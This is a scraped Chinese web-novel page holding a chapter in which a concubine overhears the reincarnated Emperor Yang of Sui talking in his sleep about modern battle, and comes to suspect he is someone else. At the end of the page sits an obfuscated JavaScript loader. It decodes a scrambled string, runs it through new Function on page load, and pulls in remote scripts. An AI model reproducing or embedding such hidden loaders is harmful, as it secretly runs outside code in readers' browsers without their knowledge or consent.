首页
第七章 · 梦中呓
返回

第七章 · 梦中呓

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第七章·梦中呓(第1/2页)
    入夜。
    苏威复相的那一天终于过完了。
    杨旷躺在榻上的时候,浑身的骨头都在发酸。不是身体累——杨广的四十三岁身子骨不算差,骑马能骑两个时辰不落鞍。累的是脑子。从辰时到亥时,他做了六件事:下了诏书、认了六条错、还了笏板、委了粮仓清查的差事、听了陈丽华的朝堂观察报告、在脑子里把宇文化及的下一步棋推演了三遍。
    每一件都是消耗。不是体力,是精神。
    前世在部队里也有这种时候——连续作战四十八小时之后,人不是“困“,是“空“。脑子里像被掏干净了,只剩一台发动机在转,烧的不是油是惯性。
    他闭上眼。龙涎香的气味很淡了——这具身体闻惯了龙涎香,不像他刚穿越时那么敏感。但他在入睡前最后一秒,还是闻到了。像一缕线,从鼻子里钻进去,把他从太极殿拉回了那个雷暴之夜。
    然后他睡着了。
    陈丽华没有睡。
    她睡在偏殿里间,跟杨旷的寝殿隔一道帘子。从前杨广召她侍寝的时候,她睡在外间踏板上——不是榻上,是踏板。杨广不让她上榻,不是不宠她,是规矩。宠妾可以侍寝,但不能同榻。同榻是皇后的待遇。
    杨旷改了这个。穿越第三天,他说“你睡里间那张小榻“。就一句话。没有解释。
    陈丽华当时愣了很久。因为那句话的意思是:你不用睡踏板了。不是要你上来——是给你一间单独的。既不是宠幸,也不是冷落。是——你在你的地方,我在我的地方。平的。
    从那天起她就睡里间。隔一道帘子。
    帘子是薄的。灯光透过来能看见影子,声音传过来能听清呼吸。陈丽华习惯了听杨广的呼吸——三年了,杨广睡觉打轻鼾,呼吸重而缓,偶尔翻身时会哼一声。她听了一千多个夜晚,比听自己的心跳还熟。
    今晚她也躺着听。
    杨旷的呼吸跟杨广不一样。
    杨广的呼吸是沉的,往下坠,像一块石头压在水底。杨旷的呼吸是浅的,快的,胸腔起伏的幅度比杨广小。像一只在浅眠里的动物——不是睡,是“待着“。随时能醒,随时能跳起来。
    前世的部队养成的。战场上没有“深睡“,只有“浅待“。眼睛闭着,耳朵开着,手搁在枕头边上离刀三寸远。杨旷睡着的时候像站岗——身体在休息,意识留了半条在门口放哨。
    陈丽华不懂这些。但她听出来了:不一样。
    她在黑暗里睁着眼。
    这是她三年来养成的习惯——不立刻睡。先听。听陛下的呼吸稳不稳,听外面有没有脚步声,听风是不是刮得太紧——风大的时候帘子会响,帘子响了陛下会烦躁,陛下烦躁了会叫人。她得在陛下叫人之前醒来,端着茶站在帘子外面等着。
    三年的踏板,把她的耳朵训练成了世界上最精密的监听器。
    今晚她在听杨旷的呼吸。
    稳的。浅的。但稳。
    她闭上了眼。
    大概过了两炷香。
    她被一个声音惊醒了。
    不是外面的声音——是帘子那边的。杨旷在翻身。不是普通的翻身——是那种身体绷紧、突然抽动一下的翻身。像踩空了台阶。
    然后他出声了。
    “……集合。“
    两个字。声音含混,从嗓子眼里挤出来的。不是醒着的人说话的方式——是梦中的人。
    陈丽华的眼睛在黑暗里睁开了。
    杨广从来不说梦话。三年了,一千多个夜晚,她一次都没听过杨广说梦话。杨广睡觉沉,一闭眼就坠到最底下去,不做梦,不翻身,不打鼾——不对,打轻鼾。但不说话。
    “集合“是什么意思?
    她不懂。但她记住了。
    然后杨旷又出了声。这次声音更含混了,像嘴里含了什么东西在嚼。
    “……张磊……坐标……“
    “张磊“是个名字。陈丽华确定那是个名字——因为杨旷说这两个字的时候,语气变了。不是命令的语气,是叫人的语气。温柔的。他醒着的时候只对苏威用过那种语气——不对,他对她用过。第五章那天晚上,他看她的眼神里就是那种。
    “坐标“是什么?
    她不知道。
    陈丽华从被子里坐起来。没有点灯——她不想惊动他。月光从窗纸的缝隙里渗进来,把帘子上绣的纹路印在地上。她看得见帘子那边杨旷的影子——他在动,不是翻身,是手在动。右手抬起来,在空中比划了一下,像在指什么东西。
    指什么?指哪个方向?
    “……东……东经……一百……“
    更听不懂了。
    “东经“。她听过“东“——东南西北的东。但“东经“是什么?经?经纬?经书?她读过一点书,知道“经纬“是指天地间的线,但“东经一百“是什么意思?
    她不知道。但她听出了一个东西——杨旷说这些话的时候,语气是急的。不是恐慌的急——是命令式的急。跟他在朝堂上对苏威说“坐“的时候一模一样。短,重,不解释,只下达。
    他在梦里下令。
    给谁下令?“张磊“?
    陈丽华赤脚下了榻。脚踩在冰凉的地砖上,凉意从脚底窜到膝盖。她没穿鞋——不能穿,鞋底在砖上会响。她赤脚走到帘子边上,站着。
    帘子那边,杨旷的呼吸变了。
    快了。像在跑。
    然后他说了一句话,声音突然大了——像是从高处落下来的一嗓子:
    “卧槽——“
    两个字。炸开的。
    陈丽华浑身一颤。
    不是因为声音大。是因为这两个字里有一种东西——她说不出来是什么,但她的身体先于脑子反应了。这两个字不像汉语的任何读法。不是诗,不是文,不是口语。“卧“是躺,“槽“是水渠、马槽。合在一起什么意思?她不知道。但她听出了那两个字里的情绪——
    是恐惧。
    一瞬间的、极尖锐的恐惧。像一个人在极度危险的时候脱口而出的本能反应。不是“啊“——“啊“是谁都会喊的。“卧槽“像是刻在骨头里的,比思维快。遇到危险之前脑子还没反应过来,嘴已经喊出来了。
    杨广恐惧的时候什么样?陈丽华见过。杨广怕的时候不喊——杨广缩。脸白,手抖,往后退,但不喊。杨广的恐惧是收着的,像被踩住尾巴的猫,弓起来但不叫。
    杨旷的恐惧是炸开的。
    陈丽华站在帘子边上,脚趾头冻得发疼,但她没动。
    杨旷的声音又变了。从那声“卧槽“之后,他的呼吸变得又粗又急,像在拼命做什么。然后他又说话了——
    “……炸弹……右侧……掩护……“
    “炸弹“。她不知道“弹“是弓弹还是炮弹,但“炸“她懂。炸。火药炸开。
    “右侧“她懂。右边的方向。
    “掩护“她懂。遮护、挡住。
    但三个词连在一起——“炸弹右侧掩护“——是什么意思?什么东西在右边炸了?要掩护谁?
    她不懂。但她听出了一件事:他在梦里打仗。
    陈丽华的手攥住了帘子的边。绸缎在指间皱成了一团。
    杨旷在梦里打仗。不是骑马打仗——骑马打仗不会说“右侧““掩护“这种话。是步战。是近距离的、极快的、极凶险的战斗。他的呼吸节奏在变——快两拍,慢一拍,快三拍,停一拍——像一个在跑动、躲避、射击、卧倒、爬起来再跑的人。
    然后他的声音变了。又变了。
    不是命令了。不是恐惧了。
    是——
    “……回来……“
    两个字。轻的。比之前所有的话都轻。像从水面下浮上来的一个气泡,到了水面才碎。
    “……回来了……请你们……喝酒……“
    陈丽华的手松开了帘子。
    她听不懂“请你们喝酒“是什么意思——不对,她听得懂。每个字她都听得懂。“回来“——从外面回来。“请“——请人。“你们“——你们。“喝酒“——饮酒。
    但杨广从不请人喝酒。杨广赐酒。赐大臣酒,赐妃子酒,赐将士酒。“赐“是从上往下给的。“请“是平着说的。
    杨广一辈子没对任何人说过“请“。
    “请你们喝酒“——这句话不是对臣子说的,不是对妃子说的,不是对皇帝该说的任何话。这句话是对——朋友说的。对一起出生入死的人说的。对“你们“说的。
    你们是谁?
    陈丽华站在帘子边上,月光把她的影子印在地上。她的影子很长,从帘子脚一直拖到里间的墙根。她站了很久。
    杨旷的声音渐渐低了。
    “……张磊……你他妈……别……“
    “你他妈“——三个字。陈丽华听懂了。不是骂人——是急的。是在喊一个人别做什么。“别“去?“别“死?
    她不知道。
    帘子那边的呼吸慢慢平了下来。杨旷的影子不再动了。他的手从半空中落下去,搁回了身侧。
    他安静了。
    但陈丽华没有回去躺下。
    她站在帘子边上,赤脚踩在冷砖上,站了不知道多久。月光从窗缝里移过来,移过了她的脚面,移过了帘子的下摆,移到了杨旷那一侧的踏板边上。
    她在做一件事——复盘。
    前世杨旷管这个叫“复盘“。陈丽华不知道这个词,但她做的事一模一样:把今晚听到的每一个字、每一个语气、每一个呼吸变化,在脑子里按顺序过一遍。
    第一句:“集合。“命令。对“张磊“下的。
    第二句:“张磊……坐标……“叫人的名字,后面跟着一个她不懂的词。
    第三句:“东……东经……一百……“方位,数字。她在宫里听过司天台的官员报方位,用“度“不用“经“。这是什么?
    第四句:“卧槽——“恐惧。本能。
    第五句:“炸弹……右侧……掩护……“战斗。近距离战斗。
    第六句:“回来……回来了……请你们……喝酒……“轻的。温的。对朋友说的。
    第七句:“张磊……你他妈……别……“急的。在喊一个人别做什么。
    七句话。七个她从未在杨广嘴里听到过的东西。
    陈丽华把这些在脑子里排列好,像她第五章那天晚上把杨旷喝茶、吃鱼脍、说话的细节排列好一样。但这一次不一样。喝茶、吃鱼脍、说话方式——那些是“习惯不同“。一个人可以因为经历了什么大事而改变习惯。
    (本章未完,请点击下一页继续阅读)第七章·梦中呓(第2/2页)
    但梦话不会变。
    梦话是一个人最底层的、最不受控制的东西。白天你可以装——装说话方式、装吃饭姿势、装看人的眼神。但梦里你装不了。梦里你说的就是你骨子里说的。
    杨广的骨子里没有“张磊“这个人。没有“坐标“和“东经“。没有“卧槽“。没有“请你们喝酒“。
    这些不是变了。
    这些是——别人的。
    陈丽华的脚已经冻得没感觉了。但她没有动。
    她在想一件事。
    那天晚上——第五章——杨旷对她说了一句话:“朕不是从前那个人了。“
    她当时以为这句话的意思是“朕改了“。“朕不是从前那个人了“——从坏变好,从暴变温,从昏变明。人还是那个人,只是变了。
    但如果……变得太彻底了呢?
    她当时以为“变了“就是脾气好了、做事稳了。但她现在听到的这些——“张磊““坐标““卧槽“——这些不是脾气变了能解释的。是萨水那一仗把他整个人打碎又重新拼了起来?拼的时候拼进了什么她不认识的东西?
    她的脑子在打转。像一只被关在笼子里的鸟,飞到东边撞一下,飞到西边撞一下,找不到出口。
    变了。变得太深了。深到她几乎认不出从前那个人。
    梦里他叫别人“张磊“。梦里他说“请你们喝酒“。梦里他喊的不是“朕“——他说的是“我“。她听到了。在“卧槽“前面,有一个极短的字——“我“。我卧槽。不是“朕卧槽“。
    “我“和“朕“。
    陈丽华的指甲掐进了掌心。
    她闭上眼,在心里把这个发现锁好。不是锁在心里最深的地方——是像在情报简报上打了一个标签,放在明天可以取出来的位置。杨**过她怎么听朝堂、怎么判断表情、怎么分析谁怕谁不怕。她把这些方法用在了今晚。但她不会把这些告诉杨旷。
    因为她答应过他——“妾身不会问。“
    她不问。但她听。
    帘子那边,杨旷翻了个身。呼吸又变回了浅而稳的节奏。他的梦过去了,或者梦里的故事走到了另一段。
    陈丽华没有回榻上。她走到案几旁边——杨旷白天办公的那张案几。
    月光照在案面上,能看见案角搁着一盏没熄的油灯。灯芯只剩一点火星了,忽明忽暗。案面上有几卷文书,叠得整齐。案角——
    案角的最里面。
    她看见暗格的缝。
    杨旷昨天把那张“三件事“的纸条塞进了这个暗格。她知道的——他以为她不知道,但他塞的时候她在帘子后面看见了。
    她还知道暗格里有什么。那根银簪。
    她的银簪。
    那天晚上杨旷把簪子还给她的时候说“你不需要它“。她接了。但她没有别在发髻上——她放回了暗格里。不是要留着寻死。是——这根簪子已经不只是武器了。它是她和杨旷之间的一个约定。他说“你不需要“,她说“我收着“。收着不是因为要用——是因为这根簪子在他们之间有了别的意思。
    什么意思?她之前说不清。
    今晚她说清了。
    簪子是她的底线。从前杨广在的时候,簪子的意思是“如果你变回去,我就走“。“走“是去死的意思。
    但现在杨旷不是“变回去“的问题了。他变得太深了,深到她不知道他还变出了什么她看不见的东西。那她手里的簪子是什么意思?
    她不知道。
    她在案几前站了很久。
    月光移过案面,移过暗格的缝,移过她的手背。
    然后她做了一个动作。她把手伸向暗格——
    停住了。
    没有打开。
    不是不敢。是——不需要。今晚的答案已经够了。暗格里有什么、杨旷的纸条上写了什么,明天再看也不迟。今晚她需要消化她已经听到的东西。
    她退后一步。转身。
    走回里间的路上,她的赤脚踩过杨旷白天搁在踏板旁边的靴子。靴尖朝外——军人习惯,随时能蹬进去就走。杨广的靴子是丝面的,靴尖朝里——下人摆好的,不用自己弯腰。
    她又看见了一个“不一样“。
    但今晚的这些“不一样“,已经不是喝茶方式、吃饭姿势的问题了。
    她躺回榻上。被子已经凉了。她把被子拉到下巴,闭上眼。
    睡不着。
    脑子里全是那些声音。“集合““坐标““东经““卧槽““炸弹““掩护““回来了““请你们喝酒““张磊““你他妈别“——
    这些词在她脑子里转,像一群她不认识的鸟在笼子里扑腾。她抓不住它们的意思,但能感觉到它们的形状。有些是硬的、方的、像铁块——命令、方位、数字。有些是软的、圆的、像水滴——“回来了““请你们““喝酒“。
    她在想“张磊“是谁。
    一个名字。两个字。杨旷在梦里叫这个名字的时候,声音是温的——比他对苏威温,比对她温。那种温柔不是对下属的,不是对女人的。是对——一起出生入死的人的。
    “你们“。
    “请你们喝酒“。“你们“不是一个人。是很多人。杨旷在梦里请很多人喝酒。那些人是谁?跟他什么关系?为什么“回来“了才请他们喝酒?因为他们出去了?出去做什么了?
    打仗?
    陈丽华翻了个身。面朝墙壁。墙上有月光投的窗棂影子,一格一格的,像棋盘。
    她在想另一件事。
    萨水那一仗到底在他身上发生了什么?
    这个问题像一盆冰水从头顶浇下来。
    她不敢想。不是不敢想答案——是没有答案。她能看到的只是结果:他变了。变得说话不一样了,做事不一样了,连做梦都在说另一套语言。她不知道过程。不知道萨水到回京那一路上他经历了什么,不知道什么东西在他脑子里裂开了又重新长了出来。
    她的脑子转不动了。不是想不出来——是信息不够。她能确认的只有一件事:陛下变了,变得彻底。但她不知道为什么变了,变到了什么地步。
    这让她不知道下一步该怎么走。
    不。
    她知道下一步该怎么走。
    陈丽华的性格——“先观察后表态。她不会在信息不足时做判断。“
    今晚的信息够了——够她确认一件事:陛下变了,变得彻底,深到骨子里。但不够她确认另一件事:萨水到底在他身上做了什么,让他变成了现在这个样子。
    所以她不问。继续看。继续听。继续记。
    等。
    等到信息够了的那一天。
    她把被子拉紧了一点。帘子那边,杨旷的呼吸还是浅的、稳的。他在浅眠里,手搁在枕头边,离刀三寸。
    他在梦里打仗。她在榻上收集弹药。
    明天他会醒来,不知道自己说了什么。她会端着粥进去,站在三尺外,用那副轻柔的调子说“陛下,该用早膳了“。他会接过碗,一口一口喝。她会在放碗的“嗒“声里听见那个跟杨广不同的声音,然后把这个细节叠进今晚的记录里。
    她会等。
    等到某一天——也许明天,也许下个月,也许明年——她会拼齐所有的碎片。不需要他说。她自己会看见。就像她看见了喝茶的方式、放碗的声音、梦里的名字——每一块碎片都在,只是还没有拼完。
    她等着拼齐的那一天。也许拼齐了她也不说。她自己知道就够了。
    在那一天到来之前,她要做的只有一件事——
    活着,然后记着。
    窗外,长安城的更鼓敲了三下。三更天。月过中天,偏西了。帘子上杨旷的影子不动了,呼吸匀了。梦过了。
    陈丽华闭上了眼。
    今晚她也许能睡一会儿。也许不能。但不管睡不睡,天亮之后,她是新的。
    她不再是那个“陛下说笑了“的陈丽华了。
    “陛下说笑了“是盾。是挡。是“我知道你在变,但我不说“的缓冲。
    从明天起,她要做的不再是挡——是收。收下他给的所有信息,收下他漏出的每一个字,收下他梦里喊出的每一个名字。然后锁好。锁在她脑子里最深的那间屋子里,等钥匙凑齐了再开门。
    她的手在被子下面攥了一下——空的。簪子在暗格里。
    不需要簪子了。
    不是因为不寻死。是因为——陛下变了之后,她反而想活了。她要看下去。看到底。
    这个念头升起的时候,她自己都愣了一下。
    三年了。三年来她活着的唯一理由是“陛下也许会好“。现在陛下不只是“好了“——他变得她快不认得了。但变的方向是好的。她不想死的理由,从“他也许会好“变成了“我想知道他到底变成了什么样子“。
    活着。看下去。
    这是她第一次为自己活着——不是为杨广,不是为陈氏,不是为后宫里的规矩。是为她自己。
    她想知道答案。
    帘子那边,杨旷的呼吸轻轻起伏。长安城的三更天很静,静到能听见殿外值夜禁卫换岗时靴底擦过石阶的“沙“声。
    陈丽华在黑暗中睁着眼,看着天花板上模模糊糊的藻井。
    三十七朵绣花。入宫那夜她数到第三十七朵的时候天亮了。那是她的第一个夜晚——在杨广身边度过的夜晚。那一夜她数绣花是因为不敢睡。
    现在她不敢睡,是因为想听。
    她听着杨旷的呼吸,像听潮水。一起一伏。一涨一落。在涨潮和退潮之间,她把今晚听到的每一个字都按顺序排好,像在案几上排列情报简报。
    第一排:名字。“张磊“。
    第二排:词。“集合““坐标““东经““卧槽““炸弹““掩护“。
    第三排:情绪。命令→恐惧→战斗→温柔→焦急。
    第四排:判断。他变了。萨水把他变得太彻底了,彻底到她看不透。但人还是那个人。只是变了太多。
    四排。够了。今晚的弹药够了。
    明天继续。
    她终于闭上了眼。帘子那边的呼吸声,像一首她不认识的歌。调子是陌生的,但节奏让她安心。
    一个在梦里打仗的人,醒着的时候在替天下打仗。
    她在陌生的调子里,慢慢沉了下去。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();